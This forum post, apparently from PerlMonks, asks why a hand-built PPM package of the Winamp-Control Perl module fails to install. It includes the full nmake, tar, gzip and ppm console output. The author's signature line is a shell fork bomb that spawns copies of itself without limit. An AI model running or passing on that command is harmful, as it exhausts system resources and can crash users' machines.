Greetings fellow monks,

There really is a question at the end of this, just bear with me....

Tonight I've embarked on my the adventure of turning a CPAN module into a PPM (since the module I wanted didn't exist as a PPM. The module in question is Winamp-Control.

I began by reading this node, this tutorial, and even this document. Then I got to work.

I downloaded the module, nmake, gzip and tar; then I installed them to correct places in my $PATH.

Next, I ran the commands as requested: 
D:\WINAMP~1>nmake Makefile.PL

Microsoft (R) Program Maintenance Utility   Version 1.50
Copyright (c) Microsoft Corp 1988-94. All rights reserved.

'Makefile.PL' is up-to-date

D:\WINAMP~1>perl Makefile.pl
Writing Makefile for Winamp::Control

D:\WINAMP~1>nmake

Microsoft (R) Program Maintenance Utility   Version 1.50
Copyright (c) Microsoft Corp 1988-94. All rights reserved.

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And installed it... 
D:\WINAMP~1>nmake install

Microsoft (R) Program Maintenance Utility   Version 1.50
Copyright (c) Microsoft Corp 1988-94. All rights reserved.

Skipping D:\Perl-5.6.0\site\lib\Winamp\Control.pm (unchanged)
Skipping D:\Perl-5.6.0\site\lib\Winamp\winampctl.pl (unchanged)
Writing D:\Perl-5.6.0\site\lib\auto\Winamp\Control\.packlist
Appending installation info to D:\Perl-5.6.0\lib/perllocal.pod

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And at this point, it works! (a test code with use Winamp::Control doesn't die...)
But I still want to make this a PPM module, so: 
D:\WINAMP~1>tar cvf winamp-control.tar blib
blib/
blib/arch/
blib/arch/auto/
blib/arch/auto/Winamp/
blib/arch/auto/Winamp/Control/
blib/arch/auto/Winamp/Control/.exists
blib/lib/
blib/lib/auto/
blib/lib/auto/Winamp/
blib/lib/auto/Winamp/Control/
blib/lib/auto/Winamp/Control/.exists
blib/lib/Winamp/
blib/lib/Winamp/.exists
blib/lib/Winamp/Control.pm
blib/lib/Winamp/winampctl.pl

D:\WINAMP~1>gzip --best D:\WINAMP~1\WINAMP~1.TAR    # 8.3 only, yuck
gzip: D:\WINAMP~1\WINAMP~1.TAR compressed to D:\WINAMP~1\WINAMP~1.TAz 

D:\WINAMP~1>move WINAMP~1.TAz winamp-control.tar.gz

D:\WINAMP~1>nmake ppd

Microsoft (R) Program Maintenance Utility   Version 1.50
Copyright (c) Microsoft Corp 1988-94. All rights reserved.

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So at this point I should be all set. I've got the .ppd, and the .tar.gz. So: 
D:\WINAMP~1>ppm install --location=. Winamp-Control
Installing package 'Winamp-Control'...
Error installing package 'Winamp-Control': Read a PPD for 'Winamp-Cont
+rol', but
it is not intended for this build of Perl (MSWin32-x86-multi-thread)

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Crap! What went wrong?

Using vanilla ActiveState Perl 5.6.1.

Thanks all!
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;

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